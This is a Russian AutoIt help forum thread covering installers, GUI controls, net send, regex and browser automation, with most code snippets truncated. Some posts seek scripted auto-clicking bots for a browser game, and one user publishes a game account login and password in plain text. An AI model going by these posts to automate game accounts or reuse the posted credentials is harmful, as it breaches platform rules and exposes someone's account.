Хы, ну критику ни кто не отменял... Учетем, спасибо..... А если бредово или через одно место ) написано, ну уж как умеем пока), как говориться как умею так и выкручиваюсь ). Ты имел ввиду,что оформлять надо: Эм, этим, я хотел получить такую вещь.....Да это все делается на интернет страничке... Есть список в который я заношу свое имя: $creater , далее после того как имя внесено, оно появляется на n-строчке, которую я определяю (сравнивая скопированную строчку, предварительно обрезав ее до 11 знаков, с $creater ).Это все делается в Do..... Until. Нашел такую строчку, теперь работаю с ней, жду пока в этой строчке не появиться еще ченить, короче пока длинна не измениться...... Как только появилось, жму на кнопку.... Это должно делаться в while.....Wend Примерно так....... Цитата:
У меня еще вопpосы: 1. Как отправить в сон неограниченный (или поставить его на паузу) при помощи: HotKeySet 2. Вот есть цикл, как ему сказать, что если он превысил n-е кол-во шагов и не нашел результатов, вернуться в начало и продолжить делать все по новой. 3. Можно ли сделать связь между 2-мя файлами автоита. Ну т.е. есть 2 файла. Первый высчитывает некий параметр, который необходим для работы второго файла, а запускаются эти 2-ва файлика из 3-го файла. Тут вопрос в удобстве, нехочется иметь один файл очень большой, в котором слишком много буков ), а хочется чтоб было 2 но в которых не так много написано. 4. Если уже открыта интернет страница и ее ну ни как закрывать нельзя, как применять команды связанные с управлением IE? Спасибо!!! |
HORRIBLE,
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Код:
If MsgBox(36, "Question", "Include second script?") = 6 Then Код:
MsgBox(0, "", "Hi, i am a second script") |
Maza Faka, я так пробЫвал...но он возвращает пустое значение....
|
HORRIBLE,
Цитата:
Angelus, Цитата:
Код:
For $i = 1 To 50 |
Может глупый вопрос, но... нашел тут на форуме такой AutoIt-скрипт создания удаленного соединения:
Код:
Run("rundll32.exe netshell.dll,StartNCW") |
Все! Нашел! Надо добавить в самый верх скрипта:
Код:
$login= InputBox("Установка Интернета", "Введите логин Интернета:", "", "") С паролем все по аналогии. Не понял одно, как сделать, чтобы при нажатии Cancel работа скрипт завершалась, а не переходила как по OK к следующему окну. |
Сделал проверку данных примерно так:
Код:
if $name = '' Then Exit |
Котяра,
Цитата:
Код:
_Input_LoginPass_Dialog() Цитата:
Код:
$login= InputBox("Установка Интернета", "Введите логин Интернета:", "", "") Цитата:
Код:
$login = InputBox("Установка Интернета", "Введите логин Интернета:", "", "") |
Creat0R, спасибо за ответ.
Теперь я делаю так, чтобы спрашивались 4 параметра: имя подключения, номер, логин, пароль. Цель: создать программу, которая помогала бы "чайникам" настроить подключение к Интернету |
Котяра,
Цитата:
На всякий случай: Код:
$aInputs = _Input_LoginPass_Dialog() |
Известно что у функции FileSetTime есть баг (довольно критичный в моём случае).
Установленные секунды округляются до чётного числа: Код:
$File = @TempDir & "\Test.txt" Это возможно реализовать? нет возможности ждать пока исправят это дело в AutoIt (на бету переходить не могу по техническим причинам :) ). P.S А на счёт печяти никто так и не знает решения? amel27, не подскажешь? :shuffle: |
Creat0R, у меня получается. Вообще, AutoIt, классная штука :)
Можно даже программы писать. Например, деинсталлятор: Код:
$proceeduninstall = MsgBox(4148, "Внимание!", "Сейчас программа будет удалена. Хотите продолжить?") тут удаляется один файл example.txt Uninstall.exe (скомпиленный скрипт) кладете в папку программу |
Котяра,
Цитата:
А если делать деинсталлятор для своей проги, то желательно чтобы он умел читать лог файл, который оставил за собой инсталлятор, и удалять только не тронутые (не изменённые) файлы ;). |
![]() CaptureIt v1.0 - Эта утилита предназначена для захвата изображений с вашего экрана. ================= Главные возможности: =================
Особое спасибо amel27 за функции _FileOpen/SaveDialog, и за решение с улавливанием событий мышки :) |
Creat0R, спасибо за ответ. Деинсталлятор мой действительно простой, а то, что предложили Вы - это де инсталлятор как программа, а я говрю о Uninstall для какой-то конкретной программы.
|
Вот так делаются Setup'ы:
Код:
$installpath = InputBox("Установка", "Введите путь установки.", @ProgramFilesDir & "\Example", "") Код:
$installpath = InputBox("Установка", "Введите путь установки.", @ProgramFilesDir & "\Example", "") Давно искал инструмент типа AutoIt'а. Bat-файлы обладают малой функциональстью, малым средства для создания пользовательского интерфейса, VBS-скрипты сложны в освоений. AutoIt - классная вещь! :) :) :) :) :) |
При желании можно в Uninstall добавить проверку на установленность программы:
Код:
$installed = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Example", "UninstallString") |
Creat0R, да, классный деинсталлятор. Замена всяким платным Best Uninstaller'ам и прочим.
Только одного смущает - нет кнопки для запуска изменения программы. И самое главное, чем меня НЕ устроили батники: плохая поддержка русского языка |
Котяра
Цитата:
|
Подскажите:help:, пожалуйста :cry: , какими командами в AutoIt можно запустить окно свойств необходимого логического диска и эмулировать нажатие необходимых кнопок на активной вкладке? А также, как запустить из скрипта консольную команду control userpasswords2 ?
Всю справку облазил - по свойствам диска и по консольным командам вообще ничего не нашёл, а по поводу кнопки - в команде ControlClick в качестве параметров указываю текст заголовка окна, текст на кнопке, classnameNN (эти данные взял с помощью утилиты AutoIt Window Info), а команда либо не исполняется вообще, либо эмулирует нажатие кнопки из совершенно другой вкладки данного окна свойств :( . Из ситуации выхожу эмулированием нажатий клавиш и их комбинаций. Но, во-первых, скрипт из-за этого получается довольно-таки громоздким и тяжёлым для разбора, а во-вторых, не всегда работает (не всегда срабатывает команда Send при передвижении по объектам проводника). |
Creat0R
Цитата:
Цитата:
Код:
$File = "s:\Test.txt" Цитата:
|
Помогите пожалуйста.
Как в AutoIT можно написать скрипт, чтобы он выполнял такое действие: Если в папке C:\123 появились файлы, то нужно отправить сообщение пользователю через netsend. А в идеале было бы, чтобы по почте отправлялись сообщения. Почтовый сервер на exchange2003 |
amel27,
Цитата:
Тогда у меня проблема намного серъёзнее чем я думал... Дело в том, что мне нужно получать дату последнего изменения у файла в сети, и сравнивать её с датой изменения у файла на диске, если есть разница, то пытаться скачать файл (точнее юзер будет качать через диалог). После удачной закачки, я устанавливаю дату изменения файла на диске, чтобы при последующей проверки даты совпали. И получается что если дата файла в сети имеет не чётные секунды, то у меня всегда будет разница в данных :( Цитата:
Цитата:
Но кажется я нашёл решение: Код:
Run('Rundll32.exe "' & @SystemDir & '\mshtml.dll",PrintHTML "c:\image.png"', @SystemDir) DNK_Inc, Цитата:
Код:
Run(@ComSpec & ' /c control userpasswords2', '', @SW_HIDE) Цитата:
Код:
If FileExists("C:\123\*.*") Then Run(@ComSpec & ' /c net send {имя | * | /DOMAIN[:имя] | /USERS} сообщение', '', @SW_HIDE) Цитата:
|
Creat0R
Цитата:
Цитата:
Код:
_FileOpenPrint("D:\BUF\P1010376.JPG") |
amel27,
Цитата:
В общем ладно, не так уж и страшно. Кстати, странно что на той же Fat(32), время создания файла может быть не чётным :dont-know Цитата:
Но тут проблема, «&Печать» может быть чем то другим на другой системе. А также возвращается проблема с “висячим” скриптом. Через API нельзя этот же вызов делать? мне казалось что это будет намного проще, я удивляюсь почему вообще внедрили UDF _FilePrint(), который почти не работает. Хотя я так понял оно только для текстовых файлов? P.S Я всё пытаюсь научиться пользоваться MSDN, но так и не понял, как переписывать функции/описания приведённые там, в синтаксис AutoIt? Мне бы только алгоритм узнать, я уже интуитивно как нибудь разберусь думаю. Я так понимаю что многие берут за основу (как вспомогательные средства) библиотеки от C/C++ и т.п., я как то ставил себе, но тогда ещё про API даже и речи небыло. Но как это всё использовать, к примеру там пишут: Цитата:
|
Creat0R
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
DNK_Inc Цитата:
Код:
;Opt("TrayIconHide",1) |
amel27,
Цитата:
rundll32.exe C:\WINDOWS\system32\shimgvw.dll,ImageView_PrintTo /pt "%1" "%2" "%3" "%4" Судя по описанию, последние два параметра не используются, первый это путь к файлу, а второй имя принтера, которое тоже нужно узнать. Но даже указав верное имя принтера, выводится диалог сохранения в файл *.xps :dont-know - Хотя при вызове этой команды из контекстного меню изображения, сразу выводится диалог мастера печати. Интересно, что там передаётся в качестве второго параметра (или может быть всё же в качестве третьего/четвёртого?). Цитата:
Код:
#Include <ScreenCapture.au3> Цитата:
|
Цитата:
Код: If DirGetSize("C:\temp")>0 Then Run(@ComSpec & ' /c net send 192.168.105.84 Внимание ДИСПЕТЧЕР', '', @SW_HIDE) |
Если я использую ToolTip, можно как нибудь задать шрифт (сделать его жирным или курсивом )?
Моя програмка использует команду MouseClick (почему взял именно эту команду, потому что мне известны только координаты кнопок), тем самым пока прога работает комп занят. А возможно ли такое, чтоб и прога работала и пользоваться компьтером было бы можно? (Сразу оговорюсь эта прога работает в окне интернет экспловера, да есть команды которые специально предназначены для IE, но честно с помощью них у меня ничего не получилось. ) |
Creat0R
Цитата:
Цитата:
Цитата:
И еще по поводу Verbs - в MSDN сказано, что для стандартных Verbs всегда существует универсальный идентификатор, не зависящий от языка... и видимо без знака "&", во всяком случае для "Print" у меня сработало. Цитата:
|
Как правильно объявить свою функцию, чтобы после выполнения этой функции прога не отключалась, а ждала пока функция закончит свои действия и продолжила работу далее?
PHP код:
|
Цитата:
Код:
MouseClickDrag("left", 186, 561, 100,226) |
Распространенная задача, с которой возникают трудности - создание загрузчика. Загрузчик запускает файл как программу. Это надо для создания меню своего CD. Так вот в AutoIt делается загрузчик простейшим образом. Все решается одной строчкой
Код:
ShellExecute("file.html") Код:
Opt("TrayIconHide", 1) |
А вот интересно, на AutoIt реально написать простенький файловый менеджер?
|
Котяра
Цитата:
|
Код:
#NoTrayIcon 1. Поменять file.msi на имя MSI-файла 2. Откомпилировать скрипт 3. Сжать скомпилированный скрипт setup.exe и MSI-файл в SFX-архив с распаковкой во временную папку и запуском setup.exe после завершения распаковки (это можно делать программой iexpress.exe) |
Помогите написать часть скрипта. Цель: после отработки основной части скрипта мне необходимо изменить параметр "объект" у ярлыка (рабочая папка таже), затем необходимо чтобы файл скрипта удалился.
|
unikum111
Попробуй так: Код:
$aShortcut = FileGetShortcut("c:\Documents and Settings\All Users\Рабочий стол\NOTEPAD.lnk") |
Maza Faka, здорово! Спасибо. А зачем нужна эта строка:
Код:
"ping -n 6 127.0.0.1" & @CRLF & _ |
Всем доброго времени суток! Сталкнулся с такой проблемой. При установке программы Comodo AntiVirus 2.0.17.58 beta открываются последовательно три окна:Comodo AntiVirus Beta 2.0 Installer (отрабатывает все свои действия и уходит в неактив) => COMODO AntiVirus Installer(распаковывает файлы самой программы) => License Activation (линцензионный запрос - просто нажимаю далее)! После всех этих действий снова становиться активным основное окно Comodo AntiVirus Beta 2.0 Installer, на котором нужно нажать кнопку "Finish"(хотя AutoIt Window Info пишет что это кнопка "Next >" - чему верить не знаю)! помогите нажать последнюю кнопку чтобы ОС пошла на перезагрузку, тк ни WinWait + send, ни WinWait + WinWaitActive + controlclick, ни WinWait + WinWaitActive + controfocus + controlclick, ни WinWait + WinWaitActive + controfocus + controlsend (Space) | не проходят! помогите пожалуйста всетаки нажать на последнюю кнопку! ^_^ Р.s. такое ощущение, что окно не активно и вследствии этого комады не проходят.
|
Делаю на Autoit программу, суть которой сводится к следующему: попросить пользователя некоторые данные в поле, а потом сравнить их с разными образцами и вывести сообщение. Я делаю примерно так:
Код:
$zapros = MsgBox(36, "Добро пожаловать", "bla-bla-bla") |
В последней версии AutoIt Beta при считывании из StdOut процесс не блокируется.
Кто нибудь знает как его заблокировать? Цитата:
Код:
$zapros = MsgBox(36, "Добро пожаловать", "bla-bla-bla") |
unikum111,
Цитата:
|
Цитата:
Код:
$GetInput = InputBox("Запрос данных...", "Введите данные", 5) Цитата:
|
Не могу понять как сделать:
У меня есть код хтмл странички, в нём я ищу <script>top.setHP(323,323,120); </script> при чем в этой строчке меняются только цифры, <script>top.setHP(........); </script> как это сделать?? |
HORRIBLE
Возвращает массив совпадений: Код:
#include <Array.au3> |
Нашел такой скрипт:
Код:
|
amel27,
Цитата:
Цитата:
P.S Сорри за поздний ответ, много дел было. ... Котяра, Цитата:
Для вывода информации о дисках и свободного места на них, используй функции «DriveGetDrive(), DriveGetLabel(), DriveSpaceFree(), DriveSpaceTotal() и т.п.». |
:) :) :) :) :) :) :) :) :) :) :) :)
Сам смеюсь с себя.... Скрипт вот этот: Код:
$Gui = GUICreate("Drives List", 350, 300) Да я перепутал - не то вставил с буфера обмена :) Вопрос: можно ли "научить" скомпилированный скрипт понимать параметры командной строки. Например, у меня есть скрипт инсталляции и хочу, чтобы при запуске "E:\install.exe /s" (install.exe - скомпиленный скрипт) действие скрипта менялось. |
|
Я "рою" тему создания с помощью AutoIt инсталлятора. Так вот, для этого необходимо разработать скрипты Install и Uninst. Назначение скрипта Install - установить программу, а Uninst - удалить ее. Скрипт Uninst должен копироваться в папку программы скриптом Install. Так вот, для этого нужно использовать функции FileCopy, FileDelete (FileRecycle), RegRead, RegWrite, RegDelete. Используя их можно гибко управлять установкой. Сегодня нашел еще один способ - FileInstall. Функция выглядит так:
Код:
FileInstall("E:\source\readme.html", "C:\destination\readme.html") Код:
;!@Install@!UTF-8! Сами скрипты (с FileCopy) я приводил в прошлых сообщениях. Нужно добавить в скрипты инсталлятора #NoTrayIcon, т.к. лишние иконки в трее ни к чему :) |
ИЗвените. но я вообще не понял как эта программа работает.
мне нужно что бы в определеные места нажимала мышка... с циклом. ну к примеру в 10 местах нажимает...потом ещё в 1 месте и опять в тех же 10 местах. вот такое можно сделать? |
Creat0R, Как в скрипте выполнить регистрацию dll библиотеки например:
%windir%\system32\regsvr32.exe "%currentdir%Test.dll" |
Цитата:
Пример: Код:
Opt("MouseClickDelay", 50) ;Задаём паузу между кликами мыши в 50 милисекунд Цитата:
Код:
Run(@SystemDir & "\regsvr32.exe " & '"' & @ScriptDir & "\Test.dll") |
а может эта программа производить поиск по брауеру по открытой странице и нажимать на определыные фразы?
как добавить в скрипт что бы нажималась "Page Down" Maza Faka, как сделать что бы последний клик в цикле все время изменялся +10 по Х |
Цитата:
Цитата:
Код:
Send("{PGDN}") Цитата:
Код:
Opt("MouseClickDelay", 50) ;Задаём паузу между кликами мыши в 50 милисекунд |
я уже наверное достал.но не как не могу понять как это все работает =((
1. как кликать в браузере по определеному тексту "Нажми сюда" 2. Как можно копировать title сайта и вставлять на другой сайт в форму поиска. 3. Как обновлять страницу? браузер. 4. можно начинать цикл только когда сайт полностью заргружен или на 90% ? 5. есть какой то норм мануал русский по этой проге? заранее спасибо |
Maza Faka,
Цитата:
|
DENoszone,
1. как кликать в браузере по определеному тексту "Нажми сюда" PHP код:
PHP код:
PHP код:
Код:
_IELoadWait ($oIE) ;ждем пока все не загрузится, после чего работаем дальше. |
Блин. как научится работать с этой программой?=(
а то стыдно уже тут спрашивать. PHP код:
PHP код:
понятно?=) |
PHP код:
и еще одно, я наверно что то не так делаю. Не получается скопировать, что угодно со странички если использовать ClipPut(""), как тогда быть, если мне перед выполнением необходимо его все таки почистить ? вот есть Спасибо. |
prokazzza,
Цитата:
Цитата:
Код:
Run(@SystemDir & '\regsvr32.exe /s "' & @ScriptDir & '\Test.dll"') |
Код:
#include <IE.au3> не фига не вышло. КАК отметить галочку? она единственая на странице |
Возник вопрос о сохранении - загрузке данных. Имеется скрипт, кончено же с туевой хучей данных-переменных. После его завершения требуется сохранить все установки, до след сеанса работы, в котором конечно прочитать их. Данные эти весьма разнородны, от переменных до состояния чекбоксов. Что посоветуете коллеги?!
|
NikLok
Сохраняй в *.ini файле, либо, если данных очень много - в реестре. |
Maza Faka, Можно примерчик кода небольшой ! Я просто как подумаю о синтаксическом анализе и т.п. :o
|
Цитата:
Код:
#include <GuiConstants.au3> |
Maza Faka,
Цитата:
* Если чекбоксов и т.п. много, то пока главное окно программы закроется пройдёт время, поэтому перед записью всегда лучше скрывать окно (GUISetState(@SW_HIDE, $hGUI) но не в коем случае не удалять, т.к чтение контролов приведёт к нулевому значению). * В Ini-шку можно и не записывать “реальные” значения (для чекбокса к примеру, это 1 и 4), можно было бы сделать что-то в этом духе: Код:
Func _SaveCfg() |
как с симулировать нажатие колесика?
как нажимать на конопку на сайте *в опере) адрес ссылки http://www.*.com/index.php?ext=searc...d=1498&start=* (меняется) и текст имеет ">" |
Creat0R,
Цитата:
Соотв. чекбоксов стоко же скоко параметров! Цитата:
Creat0R, Цитата:
Чуствую этот материал на вики страничку по автоиту просится? |
NikLok,
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
DENoszone, Цитата:
Цитата:
|
Цитата:
|
Цитата:
|
Maza Faka,
Цитата:
Вот вырезка для 2-х компонент: Код:
#include <GuiConstants.au3> Очень мне не нравится забор из конструкций - GUICtrlCreateCheckbox("AccessOpt",35,50,210,15) Особенно задание абсолютных координат. Ну ладно, допустим заменю на переменные с инкрементом по вертикали и горизонтали, но возникают проблемы если захочется делать окно масштабируемым?! Сейчас что бы вывести все компоненты без скролинга требуется окно шириной в 1000! А если монитор не поддерживает такого разрешения! Кто как решает проблему масштабируемости? Еще почему-то при проведении мышкой над чекбоксом его подпись меняет фон на темно серый! Как отключить? Как задать высоту табов создаваемых при помощи GuiCtrlCreateTabItem ?!?! Кто нить достал книгу по autoit - AutoIt v3: Your Quick Guide (Andy Flesner, O'Reilly) Очень хочется электронный вариант!!! |
NikLok,
Цитата:
Код:
GUICtrlCreateCheckbox("AccessOpt", 35, 50, $GUI_WIDTH-70, 15) Цитата:
Цитата:
Цитата:
|
Creat0R,
Цитата:
Код:
;Автор скрипта: NikLok (http://forum.oszone.net/member.php?u=15218) Цитата:
|
NikLok
Скрипт-то нерабочий. Ты вот, что сделай: напиши небольшой скриптик содержащий только проблемное место, так всем будет легче и охотней его смотреть, чем огромный и нерабочий код. ;) |
Maza Faka, Sorry. У меня работает! Вот еще сократил. Оставил одну вкладку и все почистил.
Код:
;Автор скрипта: NikLok (http://forum.oszone.net/member.php?u=15218) |
NikLok,
У меня всё нормально, не видно проблемы... попробуй подвинуть чекбоксы правее, чтобы они небыли у самого края. Возможно у тебя какая то тема оформления установлена, которая вызывает такие глюки? P.S Вместо 1020 лучше использовать макрос @DesktopWidth ;) И по поводу Opt("WinTitleMatchMode",4) - это можно не использовать (оставлено в целях обратной совместимости), при поиске окон есть другой метод (см. раздел Window Titles and Text (Advanced) в справке). |
Creat0R,
Цитата:
Цитата:
А как узнать ширину родительского GUI. То есть ширину для $hGUI ? |
NikLok,
Цитата:
Цитата:
Возвращённое значение: Код:
$aGUI_Coords[0] = Left |
Цитата:
|
А в скрипте есть возможность блокировки партов???.....а то я хелп читал чтото не нашол...
|
Maza Faka,
Цитата:
|
Цитата:
Цитата:
|
Код:
RunWait(@ComSpec & " /c " & 'taskkill /im explorer.exe /f', "", @SW_HIDE) |
Котяра,
Цитата:
|
Код:
#include <IE.au3> и ещё...вот в title есть в начале слово... "АРБУЗ: " как это убрать что бы писался без этого слова |
Creat0R, ничего подобного. Сейчас вбил в Пуск -> Выполнить строку:
Код:
taskkill /im explorer.exe /f Да, explorer автоматически перезапускается при сбое, но не при закрытии. |
хи-хи...от я дурак=)))
и ещё думаю чего у меня explorer выключился +) Мне надо закрыть IE |
Котяра,
Цитата:
у меня в наборе инструментов есть такой скрипт: Restart_Explorer.au3 Код:
ProcessClose("Explorer.exe") |
Как можно скрыть определённую вкладку Tab
|
та неа...я же уже написал мне надо было закрыть интернет ехплорер
Код:
#include <IE.au3> и как убрать вот в title есть в начале фразы... "АРБУЗ: " как это убрать что бы писался без этого слова |
Как экономично узнать, кончается ли строка содержащаяся в переменной, каким то символом? Мне кажется, что регулярные выражения здесь будут расточительством?!
Код:
If StringRight($array[$m],1) = "\" Then $array[$m]=StringTrimRight($array[$m],1 ) |
SmallGod,
Цитата:
Спрятать кажется нельзя, можно удалить... Код:
GUICtrlDelete($Tab_Ctrl) |
Код:
If StringRight($array[$m],1) = "\" Then $array[$m]=StringTrimRight($array[$m],1 ) |
DENoszone,
Цитата:
Цитата:
Цитата:
NikLok, Цитата:
|
ну я забыл про АРБУЗ =) терь нужно с АРбузом =)))
|
NikLok,
Цитата:
Код:
$array[$m] = StringRegExpReplace($array[$m], "\\+$", "") DENoszone, Цитата:
Код:
$sOld_Title = "Мой Арбуз" |
Код:
#include <IE.au3> |
DENoszone,
Цитата:
Код:
#include <IE.au3> |
Тогда при убивании...
Creat0R, тогда так: explorer автоматически перезапускается при сбое, но не при убивании. Функция ProcessClose и команда taskkill /im explorer.exe /f работают по-разному. taskkill действует так, как если Вы "прибьете" explorer на вкладке Процессы Диспетчера задач, а ProcessClose - как-то иначе. Да, после ProcessClose он сам перезапускается! |
Неподскажите, проблема возникла, сделал прогу которая нажимает кнопку мышки в определенное время в определенном месте экрана , только вот исходное разрешение экрана было 1280*1024, не могу ни как понять как сделать чтоб на 1024*768 все координаты кликов нормально воспринимались.
Спасибо. |
Котяра,
Цитата:
HORRIBLE, Цитата:
Можно также подсчитывать соотношения разных разрешении экрана. А где кликается, возможно проще кликать относительно окна? |
Клик происходит в Интернет экспловере. Что делаю загружаю страничку, после ее загрузки, раскрываю ее на полный экран.
Цитата:
Тут Creat0R приводил пример кода чтоб отправить прогу в бесконечный сон. Вот такой вопросик, если есть несколько своих функций допустим: _Fight() _Health() _Coin() функия паузы, ее код каким образом сделать чтобы пауза не включалась при работе допустим функции _Fight() даже если был нажат ESC и включалась только после отработки _Fight() . Спасибо. |
HORRIBLE,
Цитата:
Код:
ControlClick("[CLASS:IEFrame]", "", "Internet Explorer_Server1", "Left", 1, 70, 225) А вообще для IE есть библиотека #include <IE.au3>. Цитата:
Код:
Global $Paused = False |
у меня запускается IE не в полное окно? как сделать что бы в полное?
|
DENoszone
Цитата:
Код:
#include <IE.au3> |
можно как то код
Код:
_IEQuit($oIE) |
DENoszone
чтобы закрыть вообще все окна IE: PHP код:
|
Привет всем!
У меня 2 вопросика: Как можно запустить изображение без границ, и автоматически активировать всплывающее окно в трее. Вроде все. Заранее спасибо. |
Подскажите, как можно решить проблему вставки цифр из формы excel в программу стороннего производства. При этом количество цифр в строке excel необходимое для переноса всегда постоянное, количество строк - разное.
Делаю следующим образом Код:
$n = InputBox("Внимание!", "Какое количество строк необходимо заполнить?", 0, "", 150, 140) Если бы скопировать всю строку (или диапазон) в excel'е, то получилось бы быстрее, но при копировании строки в буфере обмена строка содержится в следующем формате -> '10,3 23,4 110,4 34,8' с пробелами между цифрами и одинарными скобками в начале и конце. Так вот есть ли способ вставлять попеременно из буфера обмена поочередно цифры 10,3 затем 23,4 и т.д. и чтобы не вставлялись одинарные скобки??? |
|
DENoszone, HORRIBLE
Цитата:
Код:
Do Цитата:
Код:
#include <GuiConstants.au3> |
Creat0R
Помоги пожалуйста: Код:
$string = "Location: http://game.chirkom.uz/download/game/warcraft3/i_hate_this_key.zip [following]" & @CRLF & _ |
Помогите разобраться с ListView. Хочу поймать выбор пункта в нем (желат по двойному клику) и не поумй как. Постоянно генерируется сообщение не давая даже сделать выбор.
Я так понимаю неправильна строка - Case $msg = $treeNets Вот код. Код:
#include <GuiConstants.au3> |
NikLok
Не считая ошибок с массивом и ошибок, которых я не заметил- не нашёл... Код:
Код:
While 1 Код:
#include <GuiConstants.au3> |
Maza Faka,
Цитата:
Цитата:
Цитата:
|
Цитата:
Цитата:
Цитата:
Код:
#include <GuiConstants.au3> |
Maza Faka,
Цитата:
Извини исчо вопрос: Код:
$iItem = DllStructGetData($tInfo, "Item") Так там нигде не описано что такое "Item". Ну интуитивно понятно название. Теперь же мне нужно значение значение этого итема. А они у нас не в массиве а $Item1 $Item2 ...... Как теперь выбрать нужный? И кстати каково его мнемоническое название?! Чуствую что нужно использовать _GUICtrlListView_GetItem но как его увязать в функции .... Тем более что не могу понять а эти строки зачем? Код:
$tNMHDR = DllStructCreate($tagNMHDR, $lParam) |
Maza Faka,
Цитата:
Кстати http:// можно не указывать: Код:
$string = "Location: http://game.chirkom.uz/download/game/warcraft3/i_hate_this_key.zip [following]" & @CRLF & "Checking..." Цитата:
Код:
$tagNMLISTVIEW = "hwnd hWndFrom;int IDFrom;int Code;int Item;int SubItem;int NewState;int OldState;int Changed;int ActionX;int ActionY;int Param" Цитата:
Код:
ConsoleWrite("Double click on [" & _GUICtrlListView_GetItemText($IdFrom, $iItem) & "] item" & @LF) Цитата:
$IdFrom идентификатор элемента который вызвал событие (эквивалентно $hListView). $iCode код события (при двойном клике в списке он ровняется $NM_DBLCLK). |
Creat0R, Maza Faka, Вот еще забыл спросить а строки:
Код:
GUICtrlSendMsg(-1, 0x101E, 0, 150) |
NikLok,
Цитата:
Если использовать GUICtrlSendMsg($hListView, $LVM_SETCOLUMNWIDTH, 0, -1) то колонка (первая, это определяет 0 в третьем параметре) выровняется по максимуму (чтобы были видны все символы в айтемах). |
Цитата:
Цитата:
Цитата:
Цитата:
|
Вообще я немного в шоке. Дело в том что ранее написал цикл вида:
Код:
; GUI MESSAGE LOOP Код:
GUIRegisterMsg($WM_NOTIFY,"WM_NOTIFY") Creat0R, Мне кажется ваш скрипт раскрашивания исх. текста достоин места шапке! Не помешала бы функция получения в буфере текста выделенного в SciTE. А то лень записывать в файл кусок а потом обрабатывать!!! Или она есть и я не заметил! Плоховата инструкция по установке! Только шаманством чего получилось. Maza Faka, Цитата:
|
Maza Faka,
Цитата:
Код:
$Var = "My Test and only myne" Цитата:
Цитата:
Цитата:
|
Creat0R,
Цитата:
|
NikLok,
Цитата:
Пользоваться очень просто. В SciTE'е должен появиться (после перезапуска SciTE) пункт «Разукрасить код для форума» (в меню Tools). По его вызову будет запущена программка с кодом файла, останется только нажать “Выполнить”, дождаться обработки, и копировать результат :) |
Creat0R, оДНАКО несмотря на успешную интеграцию в 1.75 и внесение строк
Код:
#Au3ToPost Item И судя по коду все таки разукрасить только выделенный блок в редакторе нельзя!? Только целиком текст?! |
NikLok,
Цитата:
Цитата:
|
Помогите пожалуйсто, нужно найти вот такую строку:
Код:
Это мои попытки: Код:
$result = StringRegExp($ReadFile, "(?i)(<TD bgcolor=A5A5A5 align=center><A HREF=>Обмундирование</A></TD>)", 3) |
HORRIBLE,
Цитата:
Код:
$result = StringRegExp($ReadFile, '(?i)(<TD bgcolor=A5A5A5 align=center><A HREF="/main.pl?edit=.*">Обмундирование</A></TD>)', 3) |
Как зажать спейс на несколько милисекунд?
(Что то ненашёл в мануале.) |
NORIO,
Цитата:
Код:
$iTimerInit = TimerInit() |
Никак не могу различить один или два клика было в ListView
Функция $WM_NOTIFY ( если в ней задействованы реакции и на одинарный и на двойной клик) при двойном клике дает сигнал уже при первом клике Как сделать чтобы при одинарном клике можно было запустить какой-то AI-скрипт на выполнение , а при двойном -на редактирование |
gregaz,
Цитата:
Код:
#include <GuiConstants.au3> |
Creat0R,
Цитата:
|
HORRIBLE,
Цитата:
Код:
$result = StringRegExp($ReadFile, '(?i)(?s)(<TD bgcolor=A5A5A5 align=center><A HREF="/main\.pl\?edit=.*">Обмундирование</A></TD>)', 3) |
Цитата:
Код:
#include <GuiConstants.au3> |
Цитата:
|
Angelus,
Цитата:
Maza Faka, Я забыл что задержку между кликами можно брать с реестра :jester: . Что-то я всё начинаю забывать... |
И снова я обращаюсь за помощью :help:
1. Есть сервер обновлений Windows Update, с которого происходит обновление клиентских машин. Все обновления ставятся при подготовке нового ПК. Задача: из скрипта задать старт Windows Update, который при полной загрузке обновлений висит в трее в виде жёлтого щита и ожидает события onClick. Была, конечно, идея: сканировать трей на наличие жёлтого цвета, определять координаты найденного цвета и кликать туда. Но как это реализовать в рамках AutoIt - не знаю. 2. При автоустановке Windows ХР с интегрированными драйверами возникают ситуации, когда не на всё оборудование находятся драйвера. Задача: составить список оборудования, которое в диспетчере задач отображается желтыми вопросами. И снова не знаю, как реализовать это скриптом. Очень прошу, помогите найти решение. Может кто сталкивался с подобными вопросами... |
Цитата:
Код:
#NoTrayIcon |
Creat0R , Maza Faka , спасибо .
Давно не мог решить проблему детектирования кликов . Интересно решение с использованием реестра. |
У кого есть код получения списка расшаренных папок. То есть надоть получить имя папки, ееимя во внешний мир, кому доступна.
Ну на самый крайний случай - проверка расшарена папка или нет?! |
NikLok
Код:
|
NikLok,
Цитата:
Код:
$strComputer = "." ;Your IP here |
Maza Faka,
Цитата:
|
Как можно заставить мигать текст раз в несколько секунд?
|
HORRIBLE
Если я правильно тебя понял...Простейший способ: Код:
#include <GuiConstants.au3> |
Maza Faka, Спасибо за этот пример.
Но вот проблема. А если этот пример воткнуть в прогу с другим кодом который должен выполняться непрерывно,то когда пример работает другая часть проги приостанавливает свою работу. Можно сделать (без AdlibEnable("_TextFlicker", 800) и sleep) чтобы просто мигало без влияния на работу программы, просто это мигание показывает, что число превысило допустимое значение? |
HORRIBLE,
Цитата:
Код:
#include <GuiConstants.au3> |
Вопрос: возможно запускать скрипт с сервера?
Ну что бы я задавал программе время а она через это время начинала работать? при выключеном компе? |
Цитата:
|
ну вот так
сервер включен. ну не знюа =) ну а можно вообще что бы я задавал время включения и скрипт начинал работать. |
DENoszone
Используй планировщик заданий: Schtasks /? at /? |
Мне надо
1. Заходит на сайт http://ru2.voyna-plemyon.ru вписывает в первое поле Имя 2. во второе пароль 3. выбрать из выпадающего меню "мир 2". 4.перейти по ссылке http://ru2.voyna-plemyon.ru/game.php...*!&screen=main вместо !*! любые цифры 5. К примеру надо после ссылки "Железная шахта" Улучшить до следущего уровня. не важно какой там написан? если у кого то будет время посмотрите можно литак? и надо что бы скрипт запускался в определеное время. |
Добрый день, подскажите как для выполнения скрипта установить в языках и региональных стандартах Русский язык?
|
|
Цитата:
Код:
#include <IE.au3> |
логин test123
пароль 123456 |
Цитата:
Ммм... Цитата:
|
нет ты не понял.
у каждого игрока там свои цифры. нажимать на ссылку которая имеет такой формат !*! - не имеет значения что там. http://ru2.voyna-plemyon.ru/game.php...*!&screen=main |
Цитата:
|
В TOOLTIP можно задавать шрифт(его размер и толщину?)
|
Цитата:
PHP код:
|
